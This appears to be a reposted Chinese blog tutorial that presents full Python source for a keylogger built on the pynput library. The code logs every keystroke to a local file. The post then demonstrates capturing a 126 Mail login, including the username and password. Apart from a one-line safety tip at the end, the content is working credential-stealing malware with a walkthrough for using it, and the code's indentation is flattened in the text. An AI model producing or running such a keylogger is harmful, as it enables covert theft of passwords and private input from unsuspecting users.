python只需30行代码就能记录键盘的一举一动
作者:LexSaints 时间:2023-06-27 18:22:12
先看看效果
Like This↓
一、公共WiFi 公用电脑什么的
在我们日常在线上工作、玩耍时,不论开电脑、登录淘宝、玩网游
统统都会用到键盘输入
在几乎所有网站,例如淘宝、百度、126邮箱等等
为了保护用户信息
登录时,输入框都是不可见的。
但是,输入框都在界面上隐藏,让我们看不到,就能真正的确保万无一失吗?
二、键盘记录器
今天介绍一种,通过键盘记录的方法,获取用户通过键盘输入的所有信息。
并实现获取126邮箱的登录用户信息。
三、python代码实现
1、安装pynput模块
PS C:\WINDOWS\system32> pip install pynput Collecting pynput
Downloading pynput-1.7.2-py2.py3-none-any.whl (99 kB)
|████████████████████████████████| 99 kB 51 kB/s
Requirement already satisfied: six in d:\python36\lib\site-packages (from pynput) (1.12.0)
Installing collected packages: pynput
Successfully installed pynput-1.7.2
PS C:\WINDOWS\system32>
2、脚本完整代码
# -*- coding:utf-8 -*-
from pynput.keyboard import Key, Controller,Listener
import time
keyboard = Controller()
keys=[]
def on_press(key):
string = str(key).replace("'","")
def on_release(key):
global keys
string = str(key).replace("'","")
keys.append('\r'+string)
main_string = "".join(keys)
print(main_string)
if len(main_string)>15:
with open('D:\keys.txt', 'a') as f:
f.write(main_string)
keys= []
with Listener(on_press=on_press,on_release=on_release) as listener:
listener.join()
3、启动脚本
将脚本放置在电脑的某个路径下,运行该程序;所有的键盘输入,都会被记录在相同目录下的keys.txt文档中。
PS D:\test> python .\keyRecord.py
4、登录126邮箱 抓取用户信息
在脚本运行状态下,登录126邮箱,可以看到,通过键盘输入的信息都被写入到了keys.txt文档中,包括用户名输完之后的tab按钮和确定enter登录按钮
四、安全提示
陌生WiFi不要随便连
陌生电脑不要随便用
emmmm~~~~
来源:https://blog.csdn.net/weixin_42350212/article/details/115399658
标签:Python,键盘,监控
![](/images/zang.png)
![](/images/jiucuo.png)
猜你喜欢
maven多个plugin相同phase的执行顺序
2021-07-07 10:33:34
![](https://img.aspxhome.com/file/2023/1/67481_0s.jpg)
Android编程之控件ListView使用方法
2022-08-12 08:50:03
![](https://img.aspxhome.com/file/2023/5/113275_0s.png)
Spring RestTemplate的使用与踩坑
2022-01-12 21:43:14
Spring Cloud Ribbon的使用原理解析
2021-10-11 02:03:01
![](https://img.aspxhome.com/file/2023/7/129287_0s.png)
Android模拟实现支付宝蚂蚁森林效果
2023-03-15 05:07:38
![](https://img.aspxhome.com/file/2023/1/105981_0s.png)
Ireport的安装与使用教程
2021-08-08 00:16:43
![](https://img.aspxhome.com/file/2023/2/84632_0s.png)
浅谈android nexus私服的使用
2022-09-24 01:30:59
![](https://img.aspxhome.com/file/2023/0/139050_0s.png)
Android自定义view实现圆环效果实例代码
2022-05-22 10:17:25
![](https://img.aspxhome.com/file/2023/6/137976_0s.jpg)
SpringMVC路径匹配中使用通配符问题
2023-07-18 20:44:03
Java 常见排序算法代码分享
2023-09-30 08:23:09
![](https://img.aspxhome.com/file/2023/5/78265_0s.png)
java dump文件怎么生成和分析-JMAP用法详解
2021-06-03 23:59:43
![](https://img.aspxhome.com/file/2023/5/67665_0s.jpg)
使用IntelliJ IDEA搭建SSM框架的图文教程
2022-06-14 00:56:19
![](https://img.aspxhome.com/file/2023/7/94747_0s.png)
C#表达式和运算符详细解析
2021-09-30 23:39:09
![](https://img.aspxhome.com/file/2023/1/113731_0s.png)
SpringBoot启动yaml报错的解决
2021-09-09 22:58:14
![](https://img.aspxhome.com/file/2023/9/69089_0s.png)
java并发JUC工具包AtomicInteger原子整型语法基础
2023-10-05 14:16:47
Java 在PDF中添加条形码的两种方法
2023-05-29 19:10:23
![](https://img.aspxhome.com/file/2023/0/80930_0s.png)
Android开发学习笔记之通过API接口将LaTex数学函数表达式转化为图片形式
2023-02-28 06:50:24
C#实现23种常见的设计模式的示例详解
2022-10-19 20:28:29
解决SpringBoot跨域的三种方式
2021-06-20 13:20:08
Java构造代码块,静态代码块原理与用法实例分析
2023-11-03 09:03:45
![](https://img.aspxhome.com/file/2023/7/58707_0s.png)